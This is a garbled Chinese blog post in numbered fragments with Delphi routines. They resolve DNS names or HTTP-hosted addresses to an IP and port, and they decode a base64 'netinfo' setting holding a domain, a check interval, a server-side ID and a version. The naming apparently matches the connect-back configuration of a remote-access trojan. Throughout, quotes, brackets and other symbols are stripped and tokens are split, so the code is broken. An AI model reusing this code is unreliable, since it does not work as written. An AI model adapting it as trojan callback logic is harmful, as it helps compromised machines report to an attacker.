把http和DNS转换成IPVIP

1、把 http 和 DNS 转换成 IP把 http 和 DNS 转换成 IP2010-10-25 23:27:03| 分类：编程技术| 标签： pos pchar hosttemp pzhinfo copy|字号订阅 function ResolveIP(Name: string): string;typetAddr = array0.100 of PInAddr;pAddr = AtAddr;varI: Integer;WSA: TWSAData;PHE: PHostEnt;P: pAddr;hostName: array0.255 of char;beginResult := ;WSASt

2、artUp($101, WSA);trygethostname(hostName, sizeof(hostName);StrPCopy(hostName, Name);PHE := GetHostByName(HostName);if (PHE <> nil) thenbeginP := pAddr(PHEA.h_addr_list);I := 0;while (PAI <> nil) dobeginResult := (inet_nToa(PAIA);Inc(I);end;end;exceptend;WSACleanUp;end;procedure ipandport

3、1(host: string);begintryConfiguracion.sHost := copy(host, 1, pos(:, host) - 1);if not http then Configuracion.sHost :=ResolveIP(Configuracion.sHost);/放这里造成很大问题，先解析了，如果没联网就麻烦了exceptend;/MessageBox(0,pchar(),pchar(Configuracion.sHost),MB_OK);tryDelete(host, 1, Pos(:, host); /我日啊，这里如果不这样弄就少端口位数，操Config

4、uracion.iport := strtoint(trim(host);/不加trim 就完蛋exceptConfiguracion.iport := 3306;end;/MessageBox(0,pchar(inttostr(Configuracion.iport),pchar(Conf iguracion.sHost),MB_OK);end;procedure getadder(adder: string;id:integer=1);varhosttemp: string;begintryif (pos(http:/, adder) > 0) and (pos(:, adder)

5、> 0) then/分离http:/A 如果不是 DNS ，就不需要分离beginhosttemp := copy(adder, 8, length(adder) - 7);endelsehosttemp := adder;if pos(:, hosttemp) = 0 thenbegin /如果是 HTTP 网页文件Urlhttp := copy(hosttemp, 1, pos(/, hosttemp) - 1);Delete(hosttemp, 1, Pos(/, hosttemp);httpwj := hosttemp;tryhosttemp :=pchar(getip(getH

6、ttpDataByGetMethod(Urlhttp, 80,httpwj);exceptend;http:=true;end;if (pos(:, hosttemp) > 0) and (length(hosttemp)<30)thentryipandport1(hosttemp);exceptend;/ if pos(:, hosttemp) > 0 then ipandport(hosttemp,id); exceptend; / MessageBox(0,pchar(hosttemp),test,MB_OK);end;procedure readme();begint

7、ry/ pzhinfo:=:3306>4>3.0> 小熊技术>>> ;pzhinfo := trim(decodebase64(readid(netinfo); / 加密/ MessageBox(0,pchar(pzhinfo),pchar(),MB_OK);ipset := copy(pzhinfo, 1, pos(>, pzhinfo) - 1); / 域名信 息Delete(pzhinfo, 1, Pos(>, pzhinfo);tryConfiguracion.iTimeToNotify := strtoint(copy

8、(pzhinfo, 1,pos(>, pzhinfo) - 1);/ 检测间隔exceptConfiguracion.iTimeToNotify :=15;end;Delete(pzhinfo, 1, Pos(>, pzhinfo);Configuracion.sID := copy(pzhinfo, 1, pos(>, pzhinfo)- 1); / 服务端标记Delete(pzhinfo, 1, Pos(>, pzhinfo);VersionDelServer := copy(pzhinfo, 1, pos(>>>, pzhinfo) - 1); / 服务端版本Delete(pzhinfo, 1, Pos(>>>, pzhinfo);/Mess